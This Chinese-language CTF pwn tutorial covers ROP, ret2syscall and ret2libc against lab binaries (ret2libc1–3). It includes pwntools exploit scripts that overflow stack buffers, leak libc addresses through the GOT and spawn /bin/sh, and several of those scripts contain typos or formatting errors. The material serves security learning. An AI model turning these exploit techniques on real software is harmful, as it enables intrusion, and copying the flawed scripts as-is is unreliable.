PWN学习,对CTF-wiki上的讲解进行一些补充

本文主要对CTF-wiki上的PWN部分进行一些补充解释,以便入门同志参考
主要内容来自https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/#3

`基本知识

ROP

Return Oriented Programming,其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。

一般的栈结构:

      高地址                                +-----------------+
                                           |     retaddr     |
                                           +-----------------+
                                           |     saved ebp   |
                                    ebp--->+-----------------+
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
      低地址                          esp-->+-----------------+

Gadgets

以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。

ROP 攻击一般得满足如下条件

  • 程序存在溢出,并且可以控制返回地址。
  • 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。

如果 gadgets 每次的地址是不固定的,那我们就需要想办法动态获取对应的地址了。

每一个gadgets都含有ret是为了能够使得程序自动持续的选择堆栈中的指令依次执行

ret指令可以理解成取栈顶的数据作为下次跳转的位置。即,

  • eip = [esp];

  • esp = esp+4;

    ret 修改eip 和 esp的值

或者简单理解成: pop eip; (pop指令会附加esp的移动,意思是取栈顶的数据作为下次跳转的位置)然后执行 jump

相比之下,call指令即 :push eip;(此时eip为call指令的下一条指令的地址,意思是将call指令的下一条指令地址压入栈) 然后 jump

函数返回时通常会执行下列指令

mov esp ,ebp 
pop ebp  上述两条指令使ebp , esp指向原来的栈,此时esp指向返回地址
ret      使eip变为返回地址,然后jmp 

ret2syscall

Linux系统调用的实现

Linux 的系统调用通过 int 80h 实现,用系统调用号来区分入口函数。操作系统实现系统调用的基本过程是:

  1. 应用程序调用库函数(API);
  2. API 将系统调用号存入 EAX,然后通过中断调用使系统进入内核态;
  3. 内核中的中断处理函数根据系统调用号,调用对应的内核函数(系统调用);
  4. 系统调用完成相应功能,将返回值存入 EAX,返回到中断处理函数;
  5. 中断处理函数返回到 API 中;
  6. API 将 EAX 返回给应用程序。

应用程序调用系统调用的过程是:

  1. 把系统调用的编号存入 EAX;
  2. 把函数参数存入其它通用寄存器;
  3. 触发 0x80 号中断(int 0x80)。

Syscall的函数调用规范为execve(“/bin/sh”, 0,0);

所以,eax = 0xb | ebx = address 0f ‘/bin/sh’ | ecx = 0 | edx = 0

它对应的汇编代码为:

pop eax# 系统调用号载入, execve为0xb
pop ebx# 第一个参数, /bin/sh的string
pop ecx# 第二个参数,0
pop edx# 第三个参数,0
int 0x80

应用实例

应用实例可参考ret2syscall

而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets。

比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具。

步骤

 $ ROPgadget --binary rop  --only 'pop|ret' | grep 'eax'  //search eax  
 0x080bb196 : pop eax ; ret
 $ ROPgadget --binary rop  --only 'pop|ret' | grep 'ebx'  //search ebx\edx\ecx
 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
 $ROPgadget --binary rop  --string '/bin/sh'   //search 'bin/sh'
    Strings information
    ============================================================
    0x080be408 : /bin/sh
 $ROPgadget --binary rop  --only 'int'       // search int 0x80         
    Gadgets information
    ============================================================
    0x08049421 : int 0x80

以上我们就找到了需要的gadgets:

下面就是对应的 payload

#!/usr/bin/env python
from pwn import *

sh = process('./rop')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
    ['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80]) ##
sh.sendline(payload)
sh.interactive()

将payload写入后,执行流程如下

执行 mov esp , ebp & pop ebp之后,esp指向address of (pop eax & ret)

high address int 80
‘/bin/sh’
0
0
pop_edx_ecx_ebx_ret
b
esp-> address of (pop eax & ret)
AAAA
AA…

执行 ret指令,eip指向 address of (pop eax & ret),同时,esp指向0xb

high address int 80
‘/bin/sh’
0
0
pop_edx_ecx_ebx_ret
esp-> b
address of (pop eax & ret)
AAAA
AA…

然后CPU执行 pop eax,此时将0xb赋值给eax, 同时esp上移

再执行ret指令,将esp的内容给eip,CPU执行pop_edx_ecx_ebx_ret

high address int 80
‘/bin/sh’
0
0
esp-> pop_edx_ecx_ebx_ret
b
address of (pop eax & ret)
AAAA
AA…

以此类推,直至完成

ret2libc

原理

ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system("/bin/sh"),故而此时我们需要知道 system 函数的地址。

r2libc技术是一种缓冲区溢出利用技术,主要用于克服常规缓冲区溢出漏洞利用技术中面临的no stack executable限制(所以后续实验还是需要关闭系统的ASLR,以及堆栈保护),比如PaX和ExecShield安全策略。该技术主要是通过覆盖栈帧中保存的函数返回地址(eip),让其定位到libc库中的某个库函数(如,system等),而不是直接定位到shellcode。然后通过在栈中精心构造该库函数的参数,以便达到类似于执行shellcode的目的。但是该方案是基于system函数实现的,且在一次攻击中只执行一个libc函数,局限性较大,另外system函数有一个致命的缺陷就是:有时候我们并不能利用它成功获取root权限。

因为system函数本质上就是通过fork一个子进程,然后该子进程通过系统自带的sh执行system的命令。而在某些系统中,在启动新进程执行sh命令的时候会将它的特权给剔除掉(如果/bin/sh指向zsh,则不会进行权限降低;如果/bin/sh指向bash则会进行权限降低),这样我们system就无法获取root权限了。

PWN学习,对CTF-wiki上的讲解进行一些补充_第1张图片

ret2libc 这种攻击方式主要是针对 动态链接(Dynamic linking) 编译的程序,因为正常情况下是无法在程序中找到像 system() 、execve() 这种系统级函数(如果程序中直接包含了这种函数就可以直接控制返回地址指向他们,而不用通过这种麻烦的方式)。因为程序是动态链接生成的,所以在程序运行时会调用 libc.so (程序被装载时,动态链接器会将程序所有所需的动态链接库加载至进程空间,libc.so 就是其中最基本的一个)libc.so 是 linux 下 C 语言库中的运行库glibc 的动态链接版,并且 libc.so 中包含了大量的可以利用的函数,包括 system() 、execve() 等系统级函数,我们可以通过找到这些函数在内存中的地址覆盖掉返回地址来获得当前进程的控制权。通常情况下,我们会选择执行 system(“/bin/sh”) 来打开 shell, 如此就只剩下两个问题:

1、找到 system() 函数的地址;

2、在内存中找到 “/bin/sh” 这个字符串的地址。

r2libc技术原理简要概括如下:https://wooyun.js.org/drops/return2libc%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0.html

payload的典型格式为:【合适大小的溢出字符串】+【system函数地址】+【system函数的返回地址】+【system函数参数】

  1. 使用libc库中system函数的地址覆盖掉原本的返回地址;这样原函数返回的时候会转而调用system函数。

获取system函数的返回地址很简单,只需要使用gdb调试目标程序,在main函数下断点,程序运行中断在断点处后,使用p system命令即可:

#!bash
>>> p system
$1 = {<text variable, no debug info>} 0xb7e56190 <__libc_system>

该方法可以获取任意libc函数的地址。

2) 设置system函数返回后的地址,以及为system函数构造我们预定的参数。

难点主要在第2步中system函数相关的栈帧结构的安排上,比如为什么Filler就是Return Address After system,为什么传递给system的参数紧跟在Fillter之后?这就涉及到函数的调用规则。我们知道函数调用在汇编中通过call指令实现,而函数返回则通过ret指令实现。Call指令可以实现多种方式的函数跳转,这里为了简便,暂且只考虑跳转地址在内存中的call指令的实现

CPU在执行call指令时需要进行两步操作:

  1. 将当前的IP(也就是函数返回地址)入栈,即:push IP;
  2. 跳转,即: jmp dword ptr 内存单元地址

CPU在执行ret指令时只需要恢复IP寄存器即可,因此ret指令相当于pop IP

因此对于正常函数调用而言,其栈帧结构如下图1-2所示:

PWN学习,对CTF-wiki上的讲解进行一些补充_第2张图片

图1-2 函数调用栈帧结构图

但是由于我们使用system的函数地址替换了原本的IP寄存器,强制执行system函数,破坏了原程序的栈帧分配和释放策略,所以后续的操作必须基于这个被破坏的栈帧结构实现。

分类

ret2libc通常可以分为下面这几类:

  • 程序中自身就含有system函数和"/bin/sh"字符串
  • 程序中自身就有system函数,但是没有"/bin/sh"字符串
  • 程序中自身就没有system函数和"/bin/sh"字符串,但给出了libc.so文件
  • 程序中自身就没有system函数和"/bin/sh"字符串,并且没有给出libc.so文件

不管程序没有直接给出我们需要条件,我们都要想办法找到system()函数的地址和"/bin/sh"字符串的地址;当程序中没有"/bin/sh"字符串时,我们可以利用程序中某些函数如:read,fgets,gets等函数将"/bin/sh"字符串写入bss段或某个变量中,并且要可以找到其地址;对于只给出了libc.so文件的程序,我们可以直接在libc.so文件当中去找system()函数和"/bin/sh"字符串,因为libc.so文件中也是包含这些了的;最后对于没有给出libc.so文件的程序,我们可以通过泄露出程序当中的某个函数的地址,通过查询来找出其使用lib.so版本是哪一个

构造‘bin/sh’的方法

  1. IDA寻找

  2. ROPgadget --binary ret2libc1 --string '/bin/sh'
    
  3. 只要我们将CHOUCHOU_SH定义为“/bin/sh”即可。可以用这种方式借助环境变量构造任意的字符串。此方法会在后文中大量使用。这里gtenv的源代码如下:

    #!cpp
    #include 
    #include 
    
    int main(int argc, char *argv[]) {
        char *addr;
        addr = getenv(argv[1]);
        printf("%s is located at %p\n", argv[1], addr);
        return 0;
    }
    

    p5

    构造完参数之后,return to libc利用就算告一段落了

例一

文件:ret2libc1

特点:

  1. 存在system函数
  2. 存在‘bin/sh’字符串

在IDA中运行脚本寻找:

---------寻找危险函数---------------

gets[1] calls 0x08048430

-------------------------------

----------寻找sytem(‘bin/sh’)---------------

0x8048720L db ‘/bin/sh’,0

0x804a03cL dd offset aBinSh; “/bin/sh”

system[1] calls 0x08048460

构造EXP

payload的典型格式为:【合适大小的溢出字符串】+【system函数地址】+【system函数的返回地址】+【system函数参数】

#!/usr/bin/env python
from pwn import *

sh = process('./ret2libc1')

binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)

sh.interactive()

需要注意函数调用栈的结构,如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以’bbbb’ 作为虚假的地址filler,其后参数对应的参数内容。

正常情况下,我们是通过call指令进行函数调用的,因此在进入到system函数之前,call指令已经通过push IP将其返回地址push到栈帧中了,所以在正常情况下ret指令pop到 IP的数据就是之前call指令push到栈帧的数据,也就是说两者是成对的。但是!!!在我们的漏洞利用中,直接通过覆盖IP地址跳转到了system函数,而并没有经过call调用,也即是没有push IP的操作,但是system函数却照常进行了ret指令的pop IP操作。那么这个ret指令pop到IP的是哪一处地址的数据呢?答案就是Filler!

为何传递给system的参数紧跟在Filler之后

在此漏洞利用中,由于我们强制更改了调用过程,省去了call调用的push IP步骤,因此就造成了Filler变成了EIP。但是,需要注意的是,我们也仅仅是省去了push IP这一步而已,其他步骤与正常函数调用并无区别,所以如果我们将Filler看做是保存的返回地址EIP的话,那么它“之后(相对栈增长方向而言)”的数据就自然而然变成了system函数的参数了

另一个思路步骤

  1. checksec查看安全防护

    PWN学习,对CTF-wiki上的讲解进行一些补充_第3张图片

    开启了段不可执行,故不能写入shellcode,没有开启PIE

  2. 查看共享模块

    在这里插入图片描述
    程序依赖的是 libc.so.6 这个共享模块,这个共享模块里面提供了大量可以利用的函数,我们的目的是执行 system(“/bin/sh”) 来打开shell,也就是说只要在 libc 中找到了 system() 函数和 “/bin/sh” 字符串的地址就可以控制返回地址打开shell。

  3. 找到system

    因为关闭了 ASLR ,共享库的加载基址并不会发生改变,只要知道 system() 函数在共享库中的偏移就能够算出 system() 函数在内存中的地址。使用 objdump -T libc.so.6 命令就可以显示处所有的动态链接符号表。

    找 system(F:\markdown_notes\pwn.assets\1536905067_5b9b4f6b0f89e.png!small) 函数这里可以看出 system() 函数的偏移为 0x0003d870,在加上基址 0xf7dcb000 + 0x0003d870 = 0x‭f7e08870‬ ,这个地址就是libc加载到内存空间后 system() 函数的真实地址

  4. 查找字符串

    查找 /bin/sh 字符串同理真实地址为: 0xf7dcb000 + 0x0017c968 = 0xf7f47968。

    当然,方法不唯一,也可以在gdb动态调试时通过 p 命令打印出函数地址 ,find 命令查找 “/bin/sh” 字符串。还可以用 pwntools 等方法。

  5. 构造exp

    payload = ’a’ * 140 + system_addr + system_ret_addr + binsh_addr

    返回地址处放置 system() 函数的地址使当函数运行完毕时跳转到 system() 函数处继续执行,函数的调用过程是先将参数入栈,接着保存返回地址,最后call system。system_ret_addr 是 system() 函数的地址,因为我们的目的就是打开shell,所以这个返回地址随便设置 一个值就可以。binsh_addr 放置的是参数 “/bin/sh” 字符串的地址

    **

    from** pwn **import** *
    #context.log_level = 'debug'
    debug = 1
    **if** debug:
    sh = process('./ret2lib')
    system_addr = 0xf7e08870
    binsh_addr  = 0xf7f47968
    payload = 'a' * 140 + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)
    **def** **pwn**(sh, payload):
    sh.sendline(payload)
    sh.interactive()
    pwn(sh, payload)
    

参考https://www.freebuf.com/articles/rookie/182894.html

对各种方法的实践探索(寻找system与“/bin/sh”)

  1. IDA寻找(CTFwiki的方法)✔

    system=

    “/bin/sh”=

    success!

  2. GDB 调试法❌

    gdb-peda$ p system
    $1 = {<text variable, no debug info>} 0xf7e1cd10 <system>
    
    gdb-peda$ find "/bin/sh"
    Searching for '/bin/sh' in: None ranges
    Found 3 results, display max 3 items:
    ret2libc1 : 0x8048720 ("/bin/sh")
    ret2libc1 : 0x8049720 ("/bin/sh")
         libc : 0xf7f5b8cf ("/bin/sh")
    

    system=0xf7e1cd10

    “/bin/sh”=0x8048720

  3. 使用libc.so.6❌https://www.freebuf.com/articles/rookie/182894.html

    ➜  pwn ldd ret2libc1 
    	linux-gate.so.1 (0xf7f32000)
    	libc.so.6 => /lib32/libc.so.6 (0xf7d3e000)
    	/lib/ld-linux.so.2 (0xf7f34000)
    
    ➜  x86_64-linux-gnu objdump -T libc.so.6 | grep system
    0000000000159e20 g    DF .text	0000000000000063  GLIBC_2.2.5 svcerr_systemerr
    000000000004f440 g    DF .text	000000000000002d  GLIBC_PRIVATE __libc_system
    000000000004f440  w   DF .text	000000000000002d  GLIBC_2.2.5 system
    ➜  x86_64-linux-gnu ROPgadget --binary libc.so.6 --string "/bin/sh"
    
    # Strings information
    
    0x00000000001b3e9a : /bin/sh
    

    system=0xf7d3e000+0x4f440

    “/bin/sh”=0xf7d3e000+0x1b3e9a

  4. 用环境变量构造字符串❌https://wooyun.js.org/drops/return2libc%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0.html

    ➜  pwn export CHOUCHOU_SH="cc/bin/sh"
    ➜  pwn echo $CHOUCHOU_SH
    cc/bin/sh
    ➜  pwn ./gtenv32 CHOUCHOU_SH
    CHOUCHOU_SH is located at 0xff989fc6
    

例二

ret2libc2

特点

gets函数漏洞,IDA查看有system函数,没有“/bin/sh”,没有字符串我们可以自己写入,通常是在bss段写入

---------寻找危险函数---------------

gets[1] calls 0x08048460

\-------------------------------

----------寻找sytem('bin/sh')---------------

system[1] calls 0x08048490

参考资料

  • https://www.xuenixiang.com/thread-53-1-1.html
  • https://blog.csdn.net/qq_38783875/article/details/81057381
  • https://blog.51cto.com/11797152/2379739
  • https://4hou.win/wordpress/?p=26276
  • https://yml-sec.top/2019/01/23/pwn%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0-ret2libc2/

EXP构造

##!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
sh = process('./ret2libc2')

gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080
payload = flat(
    ['a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()

**

from** pwn import *
proc = './ret2libc2'
p = process(proc)
elf = ELF(proc)
rop = ROP(elf)
rop_ebx = 0x0804843d
p.sendlineafter('?','a'*112 + p32(elf.plt['gets']) + p32(rop.search(8).address) + p32(elf.bss()+0x100) + p32(elf.plt['system']) + 'aaaa' + p32(elf.bss()+0x100#自动查找rop,而不需要我们使用ROPgadget去搜索
                                                                                                                                               #pop_ret = 0x0804843d

#elf.bss()代表的是bss段段开始位置(这个位置会比实际的bss起始位置大一些)
p.sendline("/bin/sh\x00")
p.interactive()

这两个exp其实都一样的,不过一个向buf2中写数据,一个在bss段写

payload分析

payload = 'a' * 112 + gets_plt + pop_ebx + buf2 + system_plt + 0xdeadbeef + buf2

‘a’ * 112 :: 覆盖缓冲区

high address
system函数的参数,即‘bin/sh’,需要手工输入 buf2
随便一个地址 0xdeadbeef
address ( system_plt )
gets函数的参数,即输入的字符串存在buf2处 buf2
gets函数执行完后执行的指令,随便一个带pop和ret的都行 address ( pop_ebx )
address ( gets_plt )
‘a’ * 1 1 2
low address

与 ret2libc1 不同的是程序中不包含 “/bin/sh” 字符串,需要自己将字符串写入到内存中。所以整个过程分成了两部分,第一部分是将 “/bin/sh” 读入到内存中;第二部分是执行 system() 获取 shell。我们通过gest()函数向bss段或者直接是buf2中写入"/bin/sh/",然后再将其作为参数传给system()函数

例三

特点

既没有system,也没有‘bin/sh’

思路

如何得到 system 函数的地址呢?这里就主要利用了两个知识点

  • system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
  • 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。而 libc 在 github 上有人进行收集,如下
  • https://github.com/niklasb/libc-database

system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的,也就是说要找基地址,因为公式:

A真实地址-A的偏移地址 = B真实地址-B的偏移地址 = 基地址

所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。

那么如何得到 libc 中的某个函数的地址呢?

我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。

当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。

我们自然可以根据上面的步骤先得到 libc,之后在程序中查询偏移,然后再次获取 system 地址,但这样手工操作次数太多,有点麻烦,这里给出一个 libc 的利用工具,具体细节请参考 readme

  • https://github.com/lieanu/LibcSearcher

此外,在得到 libc 之后,其实 libc 中也是有 /bin/sh 字符串的,所以我们可以一起获得 /bin/sh 字符串的地址。

这里我们泄露 __libc_start_main 的地址,这是因为它是程序最初被执行的地方。基本利用思路如下

  • 泄露 __libc_start_main 地址
  • 获取 libc 版本
  • 获取 system 地址与 /bin/sh 的地址
  • 再次执行源程序
  • 触发栈溢出执行 system(‘/bin/sh’)

EXP

#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

puts_plt = ret2libc3.plt['puts'] #获取puts函数在PLT表的位置,为了栈溢出时执行puts函数
libc_start_main_got = ret2libc3.got['__libc_start_main'] #获取puts函数在GOT表的位置,这个位置就是puts函数在libc中的真实位置,和下面的 libc_start_main_addr 一样
main = ret2libc3.symbols['main'] #获取main函数的地址,为了再次执行源程序以再次利用栈溢出

##先利用一次缓冲区溢出用来泄露libc_start_main的地址,然后再次执行源程序,以便再次利用栈溢出
print "leak libc_start_main_got addr and return to main again"
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)

print "get the related addr"
libc_start_main_addr = u32(sh.recv()[0:4])  
#libc_start_main的地址的后12位即使程序有 ASLR 保护,交互时接受返回的地址,由于是32位的文件,每4位切一次片,用u32可以转成地址
#在本地运行,libc_start_main_addr  = 0xf7da4d90,这个地址就是libc_start_main的真实地址
#这个地址可能会变,但是后12位不会变

libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
## LibcSearcher() 第二个参数为已泄露的实际地址,或最后12位(比如:d90),int类型
#本地运行 $print libc:,即libc =0x7fb73f17a150
#如果遇到返回多个libc版本库的情况,可以通过add_condition(leaked_func, leaked_address)来添加限制条件,也可以手工选择其中一个libc版本(如果你确定的话)。
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
#本地运行结果:****        【libc.dump('__libc_start_main') = 0x18d90】 (这个偏移值不受ALSR影响) 
# libcbase=0xf7da4d90 - 0x18d90 = 0xf7d8c000  (这个地址也会每次运行都不一样)

system_addr = libcbase + libc.dump('system')
#system函数的实际地址 = libc基址 + 偏移
binsh_addr = libcbase + libc.dump('str_bin_sh')
#同上,字符串
print "get shell"
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
#此处为何是104??
#后文解释
sh.sendline(payload)

sh.interactive()

为何第二次栈溢出时覆盖的栈大小为104呢

一种试错的方式

PWN学习,对CTF-wiki上的讲解进行一些补充_第4张图片

起初设置payload = flat(['A' * 112, system_addr, 0xdeadbeef, binsh_addr]),发现程序遇到了段错误,原因是执行ret指令时,发现EIP为AAAA,如上图,体现为EIP=AAAA,ESP=AAAA,正常的应该是EBP被覆盖,EIP为ret指令要返回的位置,ESP为栈中ret上方的内容。故多了8个A,正确的应覆盖的大小为112-8=104

正向的方式

第一次覆盖大小为112容易得知,有多种方法,当第二次执行源程序时,通过GDB调试b main处

PWN学习,对CTF-wiki上的讲解进行一些补充_第5张图片

还是根据IDA中显示的覆盖起始位置为ESP-0x1c,根据公式可以计算出栈大小

EBP - ESP - 0x1C + 0x4 = 104

手工法寻找payload的参数

  • 泄露 __libc_start_main 地址,也可以是其他已经被调用过的函数

    PWN学习,对CTF-wiki上的讲解进行一些补充_第6张图片

        #!/usr/bin/env python
        # coding=utf-8
        from pwn import *
        sh = process('./ret2libc3')
        ret2libc3=ELF('./ret2libc3')
        puts_plt = ret2libc3.plt['puts']
        _libc_start_main_ret_got = ret2libc3.got['__libc_start_main']
        main_plt = ret2libc3.symbols['main']
        payload = flat(['A' * 112, puts_plt, main_plt, _libc_start_main_ret_got])#二次执行漏洞来获取puts函数的地址
        sh.sendlineafter('Can you find it !?', payload)
        __libc_start_main_addr=u32(sh.recv()[0:4])
        print "__libc_start_main_addr:"
        print hex(puts_addr)                                                        
        sh.interactive()
    

    可知__libc_start_main函数的真实地址为0xf7da2d90

  • 获取 libc 版本

    PWN学习,对CTF-wiki上的讲解进行一些补充_第7张图片

    有两个,这里选择amd64,不知道为什么i386不可以

  • 获取 system 地址与 /bin/sh 的地址

PWN学习,对CTF-wiki上的讲解进行一些补充_第8张图片

offset___libc_start_main_ret = 0x18e81  (这个不是__libc_start_main,__libc_start_main是18d90)
offset_system = 0x0003cd10
offset_dup2 = 0x000e6110
offset_read = 0x000e5620
offset_write = 0x000e56f0
offset_str_bin_sh = 0x17b8cf
  • 计算地址

    libcbase = libc_start_main_addr - offset_libc_start_main_ret

    system_addr = libcbase + offset_system

    _str_bin_sh_addr = libcbase + offset_str_bin_sh

  • 触发栈溢出执行 system(‘/bin/sh’)

    payload = flat(['A' * 104, system_addr, XXXX, _str_bin_sh_addr)

    sh.sendline(payload)

  from pwn import *
  context.log_level = 'debug'
  sh = process('./ret2libc3')
  ret2libc3=ELF('./ret2libc3')
  puts_plt = ret2libc3.plt['puts']
  _libc_start_main_ret_got = ret2libc3.got['__libc_start_main']
  main_plt = ret2libc3.symbols['main']
  payload = flat(['A' * 112, puts_plt, main_plt, _libc_start_main_ret_got])#二次执行漏洞来获取puts>
  sh.sendlineafter('Can you find it !?', payload)
  libc_start_main_addr=u32(sh.recv()[0:4])
  print "_libc_start_main_ret_got:"
  print hex(libc_start_main_addr)
  offset___libc_start_main_ret = 0x18d90
  offset_system = 0x0003cd10
  offset_str_bin_sh = 0x17b8cf
  libcbase = (libc_start_main_addr)-offset___libc_start_main_ret
  print hex(libcbase)
  system_addr = libcbase + offset_system
  print hex(system_addr)
  bin_sh_addr = libcbase + offset_str_bin_sh
  print hex(bin_sh_addr)
  payload = flat(['b' * 104, system_addr, 0xdeadbeee, bin_sh_addr])                                
  sh.sendline(payload) 
  sh.interactive()

可见手工计算的方法有点麻烦

直接使用libcsearcher方便得多

  from pwn import *
  context.log_level = 'debug'
  sh = process('./ret2libc3')
  ret2libc3=ELF('./ret2libc3')
  puts_plt = ret2libc3.plt['puts']
  _libc_start_main_ret_got = ret2libc3.got['__libc_start_main']
  main_plt = ret2libc3.symbols['main']
  payload = flat(['A' * 112, puts_plt, main_plt, _libc_start_main_ret_got])#二次执行漏洞来获取puts>
  sh.sendlineafter('Can you find it !?', payload)
  libc_start_main_addr=u32(sh.recv()[0:4])
  print "_libc_start_main_ret_got:"
  print hex(libc_start_main_addr)

########################   1  ##############################
  #offset___libc_start_main_ret = 0x18d90
  #offset_system = 0x0003cd10
  #offset_str_bin_sh = 0x17b8cf
  libc= LibcSearcher('__libc_start_mian' , libc_start_main_addr)#利用函数寻找对应的libc库

  ###################  2  #######################
  #libcbase = (libc_start_main_addr)-offset___libc_start_main_ret
  libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
  print hex(libcbase)

######################  3  ###################
  #system_addr = libcbase + offset_system
  system_addr = libcbase + libc.dump('system')
  print hex(system_addr)
  #bin_sh_addr = libcbase + offset_str_bin_sh
  bin_sh_addr = libcbase + libc.dump('str_bin_sh')
  print hex(bin_sh_addr)


  payload = flat(['b' * 104, system_addr, 0xdeadbeee, bin_sh_addr])                                
  sh.sendline(payload) 
  sh.interactive()

参考
https://www.jianshu.com/p/5525dde00053
https://alset0326.github.io/how2stack.html

你可能感兴趣的:(pwn,pwn,ctf)